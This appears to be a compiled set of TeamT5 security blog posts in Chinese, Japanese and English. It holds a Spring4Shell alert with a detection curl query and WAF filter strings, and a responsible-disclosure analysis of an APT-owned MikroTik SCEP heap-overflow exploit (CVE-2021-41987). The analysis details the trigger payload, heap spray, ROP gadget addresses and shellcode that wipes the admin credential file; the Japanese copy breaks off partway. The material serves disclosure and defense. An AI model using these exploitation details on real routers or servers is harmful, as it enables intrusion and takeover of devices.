2022 年 3 月 29 日，TeamT5 的網路情資團隊收到有關 Spring 框架的 RCE 零時漏洞告警通知。目前我們仍在持續調查該漏洞，依據現有的資訊來看，**我們評估此漏洞的危險級別為極度嚴峻**。

1. 基於 Spring 框架在開發 Java 應用上的泛用程度，此漏洞恐會對於許多服務造成危害。
2. Spring Core RCE 零日漏洞（或稱 SpringShell、Spring4Shell）存在於 JDK 9.0 或以上的版本。
3. 截至分析當下，官方仍未釋出正式的修補程式，我們強烈建議所有的合作夥伴與客戶務必檢視自己的程式碼庫並採取以下緩解措施。

## 具體細節
![spring vulnerability_pic1.png](https://legacy-uploads.teamt5.org/spring_vulnerability_pic1_fa9c1e327b.png)

|面向|描述|
|---|---|
|公共漏洞與暴露（CVE）|截至撰寫當下，此漏洞仍未取得 CVE 編號|
|危險級別|極度嚴峻|
|影響版本|JDK 9.0 或以上的版本以及有使用到衍生框架 ```spring-beans-*.jar```，或存在```CachedIntrospectionResults.class```|
|概念驗證（PoC）|概念驗證（PoC） 已有釋出|
|修補程式|截至撰寫當下，尚未有官方正式的修補程式|

**根據現有的資訊來觀察，我們評估此漏洞的衝擊程度將十分嚴重，而其危險級別很可能近似於 Log4j 漏洞**。Spring 框架是 Java 平台上最廣受歡迎的輕量應用框架，許多公司和組織皆有在其網際網路對向服務（internet-facing service）中採用此框架。這意謂所有應用 Java 的產品或網頁服務都可能受此漏洞影響。

SpringShell 是一個遠端執行程式碼（RCE）漏洞。根據公開資訊指出，威脅行動者一旦成功利用該漏洞，便能取得任意上傳檔案的權限。

TeamT5 會持續為我們的合作夥伴與客戶更新此漏洞的相關資訊。我們的合作夥伴與客戶可以倚靠 TeamT5 的解決方案 ThreatVision 和 ThreatSonar 以抵禦潛在的攻擊。

## PoC
網路上已有不少針對此漏洞利用方法釋出，實際執行結果如下：
 
Payload:
 
![/spring-rce-zeroday-vulnerability_PAYLOAD.png](https://uploads.teamt5.org/upload/original/spring-rce-zeroday-vulnerability_PAYLOAD.png)

 
實際執行結果圖：
![spring_update_pic1.jpg](https://legacy-uploads.teamt5.org/spring_update_pic1_84fa3ea5fb.jpg)


在 Spring 的網站程式，對 Spring 對應的路徑(參考下圖)，送入特定的 payload，能寫入任意路徑文件，可透過上傳 Webshell 來達到任意指令執行(RCE)，上圖是執行 payload 後，確實產生檔案。
![spring_update_pic2.jpg](https://legacy-uploads.teamt5.org/spring_update_pic2_c9326dfbe2.jpg)

## 如何檢測我的服務是否受到影響？ 
在 Spring 的網站程式，對 Spring 對應的路徑，送入特定的 Query，能測試網站是否存在弱點。

檢測 Query 如下：
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

下圖為執行 Query 後，如果回應 HTTP Status 400，很可能是有弱點的。
![spring_update_pic3.jpg](https://legacy-uploads.teamt5.org/spring_update_pic3_24a8883e53.jpg)



## 緩解措施
### **1.確認 JDK 版本代號**

如要確認 JDK 版本代號，請於貴組織系統的伺服器上執行 java -version 指令以確認運行中的版本代號。
![spring vulnerability_pic2.png](https://legacy-uploads.teamt5.org/spring_vulnerability_pic2_e20563e16c.jpg)



- 如果版本代號低於或等於 8，將不會受此漏洞影響。
- 如果版本代號高於或等於 9，則漏洞存在。請參照以下臨時方案抵禦潛在的攻擊。

### **2. 臨時方案：WAF 阻擋**

截至撰寫當下，官方並無發布正式的修補程式。我們強烈建議您採用臨時方案（WAF 防護）並留意官方修補程式釋出的通知。

**WAF 阻擋**

在網頁應用防火牆（WAF）中置入規則過濾以下字串

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## Reference
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> 關鍵字: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5 資安即時快訊】Spring Core RCE 零日漏洞

>- 2022年3月30日 18:30（GMT+8）：アラート通知の発行
 - 2022年3月31日 更新：Proof Of Concept（POC）および自己検出方法を追加
 - 2022年4月6日 更新：CVE識別番号、公式Patchの方法- 2022年3月31日 更新：Proof Of Concept（POC）および自己検出方法を追加


## ポイントの概要
2022年3月29日、TeamT5のサイバーインテリジェンスチームは、SpringフレームワークのRCEに関するゼロデイ脆弱性のアラートを受信しました。現在も当社は脆弱性の調査を続けていますが、これまでの情報に基づき、**当社はこの脆弱性の危険性は非常に深刻であると評価しています**。

1. Springフレームワークは、Javaアプリケーションの開発において幅広く使用されていることから、この脆弱性はさまざまなサービスに危害を及ぼす可能性があります。
2. Spring Core RCEゼロデイ脆弱性（別名SpringShell、Spring4Shell）は、JDK 9.0以降のバージョンに存在しています。
3. これまでの解析時点で公式の修正パッチは公開されていません。当社は、すべての業務提携パートナーおよび顧客が自身のコードライブラリをチェックし、以下の緩和策を講じることを強くおすすめします。


## 具体的な内容
![spring vulnerability_pic1.png](https://legacy-uploads.teamt5.org/spring_vulnerability_pic1_fa9c1e327b.png)

|方向性|説明|
|---|---|
|一般的な脆弱性と露出（CVE）|本稿執筆時点でこの脆弱性はCVE識別番号を取得していない。|
|リスクレベル|非常に深刻|
|影響を受けるバージョン|JDK 9.0以降のバージョン、派生したフレームワーク```spring-beans-*.jar```を使用している、```CachedIntrospectionResults.class```が存在している場合|
|概念実証（PoC）|概念実証（PoC）は公開されている|
|修正パッチ|本稿執筆時点で公式の修正パッチは公開されていない|


**これまでの情報に基づいた観察で、当社はこの脆弱性はインパクトが非常に深刻であると評価しており、Log4jの脆弱性に近いリスクレベルになる可能性があります**。Springフレームワークは、Javaプラットフォームで最も人気がある軽量アプリケーションのフレームワークで、多くの企業や組織がインターネット向けのサービス（internet-facing service）で使用しています。これは、Javaを使用している製品やWebページサービスのすべてがこの脆弱性の影響を受ける可能性があることを意味しています。

SpringShellは、リモートコード実行（RCE）攻撃につながる脆弱性です。公開されている情報によると、攻撃者はこの脆弱性の利用を一度成功させるだけで、任意にファイルをアップロードする権限を得ることができます。

TeamT5は、業務提携パートナーおよび顧客向けに、この脆弱性に関する情報を引き続きアップデートしていきます。当社の業務提携パートナーおよび顧客は、TeamT5のソリューション「ThreatVision」と「ThreatSonar」で、潜在的な脅威に対抗することができます。


## PoC
インターネット上では、この脆弱性について多くの利用方法が公開されていますが、実際の実行結果は以下のとおりです：
 
Payload:
![/spring-rce-zeroday-vulnerability_PAYLOAD.png](https://uploads.teamt5.org/upload/original/spring-rce-zeroday-vulnerability_PAYLOAD.png)

 
実際の実行結果：
![spring_update_pic1.jpg](https://legacy-uploads.teamt5.org/spring_update_pic1_84fa3ea5fb.jpg)


SpringのWebアプリケーションで、Springに対応するパス（下図参照）に特定のpayloadが送信されることで、任意のパスのファイルに書き込みが可能となり、Webshellをアップロードすることで、リモートコード実行（RCE）が可能となります。上の図はpayloadを実行した後に生成されたファイルです。
![spring_update_pic2.jpg](https://legacy-uploads.teamt5.org/spring_update_pic2_c9326dfbe2.jpg)

## 利用中のサービスが影響を受けているかチェックする方法。
SpringのWebアプリケーションで、Springに対応するパスに、特定のQueryを送信することでWebサイトに脆弱性がないかテストできます。

テストするQueryは以下の通りです：
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

下図はQueryの実行後で、HTTP Status 400が返ってきた場合、脆弱性が存在する可能性が高いです。
![spring_update_pic3.jpg](https://legacy-uploads.teamt5.org/spring_update_pic3_24a8883e53.jpg)



## 緩和策
### **1.JDKのバージョン番号を確認します。**

JDKのバージョン番号を確認するには、組織のシステムのサーバでjava -versionのコマンドを実行し、使用中のバージョン番号を確認します。
![spring vulnerability_pic2.png](https://legacy-uploads.teamt5.org/spring_vulnerability_pic2_e20563e16c.jpg)



- バージョン番号が8以前の場合、この脆弱性の影響はありません。
- バージョン番号が9以降の場合、脆弱性が存在します。潜在的な攻撃を防ぐため、以下の一時的な処置をご参照ください。


### **2. 一時的な処置：WAFでブロック**

本稿執筆時点で公式の修正パッチは公開されていません。当社は一時的な処置（WAF保護）を行うほか、公式の修正パッチの公開に注意することを強くおすすめします。

**WAFでブロック**

WAF（Webアプリケーションファイアウォール）に以下の文字列をフィルタリングするルールを追加します。

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## キーワード
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> キーワード: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5情報セキュリティ速報】Spring Core RCE ゼロデイ脆弱性

Security Alerts

## Brief
In 2021, we discovered an open directory on Huapi’s C2. We found the source code contained an exploit aiming at Mikrotik routers. More specifically, our analysis found that the exploit would allow the attackers to send specially crafted payloads to achieve Remote Code Execution (RCE) via WAN without any authentications. The targeted RouterOS products include mikrotik-tile-6.46.8, mikrotik-vm-64.8, and mikrotik-vm-6.48.

TeamT5 alerted Mikrotik to patch this vulnerability upon discovery. The patch for this vulnerability was released on 2021/11/17 and can be downloaded from the official Mikrotik website. All affected organizations should update their RouterOS immediately to avoid actors’ exploitation.

HUAPI (aka BlackTech, Palmerworm, or PLEAD) has been active since 2007 and has been targeting Taiwan for over a decade. Huapi’s malwares are highly sophisticated, and some of them use unique anti-analysis packers. Some of Huapi’s malware utilized a modified RC4 algorithm to encrypt the malicious C2 communication. Huapi focused on governmental entities, technology or telecommunication industries, and think tanks. Our observation suggested that over half of the victims were governmental agencies in Taiwan, the United States, Japan, and South Korea.

### Attack vector
As a powerful and easy-to-use router, Mikrotik routerboard supports SCEP (Simple Certificate Enrollment Protocol), a service that was designed for simple certificate delivery. During transport, the binary data is encoded in Base64 via HTTP GET. Unfortunately, when processing the data from the payload, a miscalculation may occur if the payload is not properly formatted, potentially resulting in a Heap-based Buffer Overflow.

The open directory we had discovered contained exploit code that targeted ```mikrotik-tile-6.46.8```, ```mikrotik-vm-64.8``` and ```mikrotik-vm-6.48```, along with their corresponding shellcode snippets. In the following sections, we will be analyzing the exploit code that was designed for ```mikrotik-vm-6.46.8```.

#### Root cause analysis
By sending the following payload, we can cause the service ```www``` to crash and potentially trigger a Heap-based Buffer Overflow.

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

The crash can be traced back to the function ```base64Decode```, located under ```ScepRequest::parseRequest``` from ```/nova/lib/www/scep.p```. When unpacking the Base64 request, the following code is used to calculate the output buffer size,

```output_buffer_length = 3 * (input_buffer_length >> 2)```

…which may cause a miscalculation of the output buffer, resulting in an insufficient memory allocation from ```malloc```, leading to a heap overflow.

![Mikrotik 1.png](https://legacy-uploads.teamt5.org/Mikrotik_1_3b141d6955.png)


#### What happened?

For instance, we assume that the our input data is ```xxxxxxxxxxxxxxxxhCE```, and the length of input buffer is 19. Based on the decompiled code, ```out_len = 3 * (input_len >> 2)``` which is ```out_len = 3 * (input_len // 4)``` (double slashes represent integer division), thereby allocating 12 bytes as decoded data buffer. However, the decoded data buffer should be 14 bytes instead of 12. This oversight allows the attacker to overwrite data in heap.

#### Overview of the exploit flow
According to the chunk-recycling mechanism, by overwriting the chunk size of a chunk in bins to a larger value (```0x4121```), the next ```malloc``` call will return a heap chunk overlapped with allocated chunks. This will lead to a heap overflow when writing to the chunk.

The part which will be overwritten is a vtable pointer in a destructor (```sub_8052E90```) function, and by setting the register ```edx``` to ```0x8061a74```, the instruction ```call [edx+4]``` will execute the gadget at ```0x8058e89``` ( ```xchg eax, ebp; ret;``` ) and execute the shellcode after pivoting the stack to the attacker-owned buffer.

![Mikrotik 2.png](https://legacy-uploads.teamt5.org/Mikrotik_2_ccf3d68d2e.png)


#### Heap spray
The attacker can begin heap spraying by requesting 64 concurrent connections, and close some of them in order to let the vtable pointer be overwriten by the heap overflow later.

![Mikrotik 3.png](https://legacy-uploads.teamt5.org/Mikrotik_3_fe1501df37.png)

The function ```aaaa``` assembles the ROP gadgets, and the variable ```sc``` contains the shellcode for execution.
![Mikrotik 4.png](https://legacy-uploads.teamt5.org/Mikrotik_4_a90ea7d1c9.png)

#### Trigger heap overflow
The function ```bbbb``` sends the payloads to the victim server in the aforementioned format.

![Mikrotik 5.png](https://legacy-uploads.teamt5.org/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://legacy-uploads.teamt5.org/Mikrotik_6_17cf9a40dd.png)

The parameter message (```'x'*801*4+'hCE'```) in the function ```bbbb``` will overwrite the size of next chunk. Here in gdb , it shows that the parameter message has been decoded to ```c7 1c 71 84 21``` at ```0x80859f0```, and the last byte ```\x21``` has been written as the next chunk size at ```0x80859f4```.

![Mikrotik 7.png](https://legacy-uploads.teamt5.org/Mikrotik_7_d1f398ad3a.png)

#### Attempting to retrieve the oversized chunk on heap
![Mikrotik 8.png](https://legacy-uploads.teamt5.org/Mikrotik_8_69ec279783.png)

In order to retrieve the overflowed chunk, we need to send out more request. At some point, the register ```edx``` will be set to ```0x8061a74``` when the attempt reaches ```i=3```.

![Mikrotik 9.png](https://legacy-uploads.teamt5.org/Mikrotik_9_0ea232d0c5.png)

#### Trigger destructor
The final step of the exploit, set off destructor  ```call [edx+4]``` by closing connections.
![Mikrotik 10.png](https://legacy-uploads.teamt5.org/Mikrotik_10_3d19ac41ab.png)

#### Fingers crossed
Thanks to the heap spraying at the initial phase of the exploit, the data in the address ```0x8061a74``` will be modified, thus the instruction ```call [edx+4]``` will end up calling ```0x8058e89``` instead (the address of gadget ```xchg eax, ebp; ret;```) and start executing our gadgets.

![Mikrotik 11.png](https://legacy-uploads.teamt5.org/Mikrotik_11_936def75c5.png)

Once the gadgets have been hit, ```0x8058e89: xchg eax, ebp; ret``` and ```0x8052eb9: leave``` will allow us to pivot from the stack to the controllable buffer and start to execute our ROP chain from ```0x804fbfc```.

The ROP chain will try to increase the address of ```open``` to the address of ```mprotect```, and the ```0x804fc04: pop esp; ret;``` will set ```esp``` to ```0x8061a74+8``` to wrap up the ROP chain. Lastly, calling ```mprotect``` and jump right into the shellcode (```0x8061674```).

![Mikrotik 12.png](https://legacy-uploads.teamt5.org/Mikrotik_12_85dcd691f7.png)

In the exploit, the shellcode can be interpreted as ```unlink('/nova/store/user.data') + sync() + reboot()```, after the target device has finished rebooting. The attacker should then be able to login into web service as admin without a password.

### Conclusion
To wrap up, let’s go over the exploit code once again:

**1. Low stability**

- Since ```add()``` does not work in our favor and that ASLR is enabled by default, the exploit chain may fail on the first try.
- Occasionally, even though the ```/nova/store/user.dat``` file will be deleted, the device does not end up rebooting. The shellcode may require extra improvements to make it more stable.
- Even in best case scenario, the success rate is only about 5~6%.
- Thankfully, in the event where the attack attempt fails, the watchdog process will restart the ```www``` service for us. This ensures stability and allows the attacker to not cause noticeable disruption during the attack.

**2. Strict prerequisites**

- The attacker must be aware of the path name ```scep_server_name``` before being able to begin such attack.

**3. Disclosure Timeline**

```2021/07/11```: Acquire exploit codes from the open directory

```2021/10/04```: Responsible disclosure to Mikrotik and reserved CVE-2021-41987

```2021/11/17```: Official patch released

```2022/03/01```: Full disclosure released

**4. Affected versions of RouterOS**
- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### About TeamT5 D39
D39 is committed to the field of vulnerability security and vulnerability discovery. The research scope includes systems and devices that are connected to the Internet, such as mobile devices, IoT devices, Linux, and Windows. Our team has held a number of critical or important vulnerabilities and has conducted presentations across various major security conferences, such as Blackhat, HITCON, etc.

Exploit research has always been one of the most advanced fields in network attack and defense. TeamT5 expects to invest resources to cultivate more talents to enter this field, and expects to have more and more world-leading vulnerability research talents in Taiwan. We welcome those who dare to face unknown challenges, are committed to vulnerability research and discovery, and have independent research capabilities to join us. 🤝

### Reference
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*Image courtesy of Pixabay

Vulnerability Exposure & Notification on Mikrotik (CVE-2021-41987) 

## 前言
APT 駭客組織 Huapi 自 2007 年開始活躍至今，攻擊台灣超過 10 年的時間。TeamT5 觀察到 Huapi 所開發的惡意程式，有時會使用加殼來阻擋研究人員分析，且通常會使用修改後的 RC4 演算法來加密傳輸。Huapi 長期攻擊政府、高科技、電信或研究智庫單位，根據 TeamT5 的統計結果，超過 5 成的受害單位為政府機關，受害國家包含台灣、美國、日本及南韓，其中針對台灣政府機關進行入侵攻擊為多。

仰賴於長期的追蹤及觀察，我們在一台中繼站發現公開目錄，目錄中存在一組針對 Mikrotik SCEP 服務的 0day 攻擊程式碼。在確定弱點存在後，我們也將弱點的相關成因回報給 Mikrotik 官方，讓官方可以在第一時間內進行修補開發，以避免該弱點繼續被惡意攻擊者進行利用。

Mikrotik 官方於 2021/11/17 釋出了修正版本，請有使用到受影響版本的用戶盡速升級，以免遭受危害。這裡我們將完整揭露攻擊程式的利用細節及漏洞原理，讓我們一窺 APT 駭客組織都是怎麼為達目的、不擇手段。

### 攻擊程式包分析
作為一個功能強大且簡單易用的路由器，Mikrotik routerboard 也支援簡單憑證註冊通訊協定(Simple Certification Enrolling Protocol, SCEP)，來讓其他終端裝置可以簡便的取得所需之憑證。在協定交互的過程中，所有二進位資訊都會使用 base64 編碼之後再進行傳送，但由於 Mikrotik SCEP 服務在進行 base64 解碼的時候計算錯誤，會導致 Heap-based buffer overflow 的發生。

攻擊程式碼(以下簡稱 exploit)總共包含了針對三個不同版本的 exploit code 分別是 ```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```與```mikrotik-vm-6.48```，及其相對應版本的 shellcode 用以攻擊成功之後執行額外的惡意指令。

以下是我們針對版本 ```mikrotik-vm-6.46.8``` 進行的exploit分析。

### 弱點根因
透過一個簡單的 HTTP 請求:

```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

將可以很容易的讓 ```www``` 這個負責 HTTP 服務的 binary 崩潰，並被 watchdog 重新啟動。

經過一番逆向工程後可以發現，位於 ```/nova/lib/www/scep.p``` 中的 ```ScepRequest::parseRequest```，在解開 base64 編碼的 ```message``` 參數時，由於計算解編碼後的資料長度出現錯誤，導致 malloc 分配出來的大小不足，進而造成 heap overflow：
![Mikrotik 1.png](https://legacy-uploads.teamt5.org/Mikrotik_1_3b141d6955.png)

### 讓 Base64 變成漏洞，是不是搞錯了什麼 ?
舉例來說，假設我們的輸入資料是 ```xxxxxxxxxxxxxxxxhCE``` 長度為 19，依照逆向後的程式邏輯來看，SCEP 計算出解編碼後的長度是12 ``` out_len = 3 * (in_len // 4)``` (這邊的 ```//``` 為整數除法)。但實際上解編碼後的資料長度為 14，這就直接導致了 heap 上的資料被覆蓋的問題。

### 漏洞利用
透過分析 exploit code 我們可以發現，攻擊者使用上述漏洞將 bins 中的某個 chunk size 改大 (0x4121)，之後再次 malloc 將會拿到這個過大的 chunk 屆時便可以覆寫 heap 上的內容。

覆蓋某個 destructor 中會用到的 vtable pointer，將 ```edx``` 改成 ```0x8061a74``` 使得 ```call [edx+4]``` 執行位於 ```0x8058e89``` 的 gadget (```xchg eax, ebp; ret;```)。

![Mikrotik 2.png](https://legacy-uploads.teamt5.org/Mikrotik_2_ccf3d68d2e.png)

#### 堆噴灑
首先發起 64 個請求做 heap spray 將我們要的 gadget 與 shellcode 隨著連線請求灑到 heap 上，並將其中一些連線關閉來讓 heap chunk 可以被 overflow 覆蓋到 vtable pointer。

![Mikrotik 3.png](https://legacy-uploads.teamt5.org/Mikrotik_3_fe1501df37.png)

這裡用到的 function ```aaaa``` 會將後續所需要的 ROP gadgets 組合起來，function 中的變數 ```sc``` 表示後面會被執行到的 shellcode。

![Mikrotik 4.png](https://legacy-uploads.teamt5.org/Mikrotik_4_a90ea7d1c9.png)

#### 觸發堆溢出
透過呼叫 function ```bbbb``` 會將我們的 payload 使用前面提過的型式送出用以觸發 heap overflow。

![Mikrotik 5.png](https://legacy-uploads.teamt5.org/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://legacy-uploads.teamt5.org/Mikrotik_6_17cf9a40dd.png)

在 function 中的參數 message ```'x'*801*4+'hCE'```，會在 base64 解編碼的同時由於前述的計算錯誤，將導致下一個 chunk 的 size 會剛好被覆蓋到。
![Mikrotik 7.png](https://legacy-uploads.teamt5.org/Mikrotik_7_d1f398ad3a.png)


#### 嘗試重新取得被覆蓋到 size 的 chunk
後續透過繼續新增請求的方式，嘗試取得被改大的 chunk，overflow 的內容可以改到在 vtable 裡的 pointer。

![Mikrotik 8.png](https://legacy-uploads.teamt5.org/Mikrotik_8_69ec279783.png)


在 ```i=3``` 時，會讓 ```edx``` 的值改成 ```0x8061a74```。
![Mikrotik 9.png](https://legacy-uploads.teamt5.org/Mikrotik_9_0ea232d0c5.png)


#### 觸發 destructor

最後透過關閉連線的方式，觸發 destructor ```call [edx+4]```
![Mikrotik 10.png](https://legacy-uploads.teamt5.org/Mikrotik_10_3d19ac41ab.png)


#### 幸運爆擊
由於一開始的 heap spray，```0x8061a74``` 會變成某個一連線時填入的內容，因此 ```call [edx+4]``` 會變成呼叫 ```0x8058e89```。

![Mikrotik 11.png](https://legacy-uploads.teamt5.org/Mikrotik_11_936def75c5.png)


一旦成功進到 ROP gadget，這個 ROP chain，會將 ```open@got``` 改成 ```mprotect```，使用 gadgets，嘗試把 ```open``` 變成 ```mprotect```。

![Mikrotik 12.png](https://legacy-uploads.teamt5.org/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` 會把 ```esp``` 改成 0x8061a74+8，接回完整 ROP chain。 最後呼叫 ```mprotect``` 使執行流進到 shellcode (```0x8061674```) 上執行。

該份 exploit 中 shellcode 的內容為，```unlink('/nova/store/user.dat') + sync() + reboot()```。 等待重新啟動之後可以發現 Web 介面可以不使用密碼直接登入。

### 結論
透過上面的分析可以發現這個攻擊程式碼(exploit)有幾個侷限性：

**1. 穩定性較低**
- 由於 ```add()``` 沒有處理進位，又有 ASLR 的緣故，運氣不好的話將直接導致攻擊失敗。
- 在嘗試重現的過程中我們也發現到，有時候 shellcode 已經正常執行 (```/nova/store/user.dat``` 已經被刪除)，卻未如預期般重新啟動，這部分需要改進 shellcode 來增加成功機率。
- 在嘗試重現的同時，我們也試圖透過修改 exploit 及 shellcode 來增加其穩定性，但最後成功率仍只有約略為 5~6%。
- 唯一值得慶幸的是，倘若攻擊失敗也只是會造成 ```www``` crash 後被 watchdog 重新啟動，並不會對使用上造成太大困擾或是引起使用者注意。

**2. 攻擊前提嚴格**

如根因所述，```scep_server_name``` 須為已知，若沒有這個 path 基本上也無法進行攻擊。

**3. 回報時間軸**

- ```2021/07/11```: 在 C2 發現 exploit code
- ```2021/10/04```: 回報給 Mikrotik 官方, 保留編號 CVE-2021-41987
- ```2021/11/17```: Mikrotik 官方釋出更新修正該弱點
- ```2022/03/01```: 公開 CVE-2021-41987 相關細節

**4. RouterOS 受影響版本**

- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### 關於 TeamT5 D39 漏洞研究團隊
D39 致力於弱點安全與漏洞挖掘領域，研究範圍包含 Mobile、IOT、Linux、Windows 等有機會連網的系統與裝置都是我們的目標（笑），團隊擁有多項重大（Critical）或重要（Important）之安全漏洞，並於 Blackhat、HITCON、POC 等國際會議擔任講者。

攻擊程式碼(exploit)研究一直是網路攻防裡面最高深的技術之一，TeamT5 期許投入資源來培養更多人才進入這個領域，期待台灣能有越來越多世界頂尖的弱點研究人才。歡迎勇於面對未知挑戰，致力於漏洞研究、挖掘為目標，並具有獨立研究能力者一同加入我們 🤝

### 參考
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*首圖來源: Pixabay

Mikrotik 漏洞揭露與通報 (CVE-2021-41987)

## はじめに
APTのハッカー組織Huapiは、2007年から活動を開始し、10年以上台湾に攻撃を仕掛けています。TeamT5は、Huapiが開発したマルウェアについて、研究員の解析を防ぐためにパッキングされていることがあり、通常は変更されたRC4のアルゴリズムで暗号化して送信されることを確認しました。Huapiは長期にわたり政府、ハイテク、電気通信、研究、シンクタンク機関を攻撃しており、TeamT5の統計では、被害者の50%以上が政府機関となっています。台湾、アメリカ、日本、韓国などが被害を受けており、多くの侵入や攻撃が台湾の政府機関を狙ったものであることが確認されました。

長期的な追跡と観察により、当社はC&Cサーバでの公開ディレクトリにMikrotik SCEPサービスを対象とした0dayエクスプロイト一式が含まれていることを発見しました。脆弱性の存在を確認した後、当社は脆弱性が発生する原因をMikrotikに報告しました。これにより、直ちに修正パッチを開発し、この脆弱性を利用した継続的なマルウェアの攻撃を防ぐことができました。

Mikrotikは、2021年11月17に公式の修正バージョンを公開しています。影響を受けるバージョンを使用しているユーザーは、被害を避けるためにできるだけ早くアップデートしてください。当社はここで攻撃プログラムの詳細と脆弱性が生まれる原理の詳細を明らかにします。目的のためなら手段を選ばないAPTハッカー組織のやり方を見てみましょう。

### 悪意のあるパッケージの解析
Mikrotik routerboardは、強力な機能性と簡易性を備えたルーターとして、他の端末装置が必要な証明書を簡単に取得できるよう、SCEP（Simple Certification Enrolling Protocol）をサポートしています。プロトコルの相互作用において、すべてのバイナリデータはbase64エンコード後に送信されますが、Mikrotik SCEPサービスによるbase64デコードの計算エラーが、Heap-based buffer overflowを引き起こします。

エクスプロイト（exploit）には、3つのバージョンを対象としたexploit code```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```、```mikrotik-vm-6.48```および攻撃成功後にコマンドインジェクションを追加するため、バージョンに応じたshellcodeが含まれています。

以下は、当社がバージョン```mikrotik-vm-6.46.8```に対して行ったexploitの解析です。

### 脆弱性の根本的な原因

シンプルなHTTPリクエスト：

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n``` 

```www``` というHTTPサービスを担うbinaryを簡単に破壊し、watchdogで再起動することができます。

リバースエンジニアリングにより、 ```/nova/lib/www/scep.p``` の ```ScepRequest::parseRequest``` がbase64エンコードの ```message``` パラメータをデコードする時、データの長さの計算にエラーが発生することでmallocの割り当てが不足し、heap overflowが発生することを発見しました。
 
![Mikrotik 1.png](https://legacy-uploads.teamt5.org/Mikrotik_1_3b141d6955.png)
 

### Base64が脆弱性になるのは、何かの間違いではないか
例えば、 ```xxxxxxxxxxxxxxxxhCE``` という長さ19のデータを入力した場合、リバースエンジニアリング後のプログラミングロジックの観点から、SCEPはデコード後の長さを12として計算します。 ``` out_len = 3 *（in_len // 4）``` （ここでの```//```は整数の除法です）。しかし、実際のデコード後のデータの長さは14で、これがheapのデータが上書きされる問題につながります。

### 脆弱性の利用
当社は、exploit codeの解析により、攻撃者は上記の脆弱性を利用してbinsの特定のchunk sizeをより大きなサイズの（0x4121）に変更し、続いてmallocが大きくなったchunkを取得する時にheapの内容を上書きすることを発見しました。

特定のdestructorで使用されるvtable pointerを上書きして ```edx``` を ```0x8061a74``` に変更し、 ```call [edx+4]``` が ```0x8058e89``` のgadgetを実行するようにします（ ```xchg eax, ebp; ret;``` ）。
 
![Mikrotik 2.png](https://legacy-uploads.teamt5.org/Mikrotik_2_ccf3d68d2e.png)
 
#### ヒープスプレー
はじめに、64のheap sprayをリクエストし、接続リクエストと同時に必要なgadgetとshellcodeをheapにスプレーします。heap chunkのoverflowによってvtable pointerが上書きされるように一部の接続は閉じられます。
 
![Mikrotik 3.png](https://legacy-uploads.teamt5.org/Mikrotik_3_fe1501df37.png)
 
ここで使用されるfunction ```aaaa``` は、後で必要となるROP gadgetsを組み合わせます。functionの変数```sc```は、後で実行されるshellcodeを示しています。
 
![Mikrotik 4.png](https://legacy-uploads.teamt5.org/Mikrotik_4_a90ea7d1c9.png)
 
#### ヒープオーバーフローのトリガー
function ```bbbb``` を呼び出すと、前述のパターンでheap overflowをトリガーする当社のpayloadが送信されます。
 
![Mikrotik 5.png](https://legacy-uploads.teamt5.org/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://legacy-uploads.teamt5.org/Mikrotik_6_17cf9a40dd.png)
 
functionのパラメータ message ```'x'*801*4+'hCE'``` は、base64デコードと同時に前述の計算エラーにより、次のchunkのsizeがちょうど上書きされます。
 
![Mikrotik 7.png](https://legacy-uploads.teamt5.org/Mikrotik_7_d1f398ad3a.png)
 

#### sizeが上書きされたchunkの再取得を試みる
続いて、リクエストを追加し続け、サイズを大きくされたchunkの取得を試みることで、overflowの内容をvtableのpointerに変更することができます。
 
![Mikrotik 8.png](https://legacy-uploads.teamt5.org/Mikrotik_8_69ec279783.png)
 

```i=3``` の時、 ```edx``` の値が ```0x8061a74``` になります。
 
![Mikrotik 9.png](https://legacy-uploads.teamt5.org/Mikrotik_9_0ea232d0c5.png)
 

#### destructorのトリガー 


最後に接続を閉じることで、destructor ```call [edx+4]```をトリガーします。
![Mikrotik 10.png](https://legacy-uploads.teamt5.org/Mikrotik_10_3d19ac41ab.png)


#### 幸運を祈る
最初のheap sprayにより、 ```0x8061a74``` のデータアドレスが変更されるため、 ```call [edx+4]``` が ```0x8058e89``` を呼び出すようになります。
 
![Mikrotik 11.png](https://legacy-uploads.teamt5.org/Mikrotik_11_936def75c5.png)
 

ROP gadgetへのアクセスが一度成功すると、このROP chainが ```open@got``` を ```mprotect``` に変更し、gadgetsを使用して ```open``` を ```mprotect``` に変更しようとします。

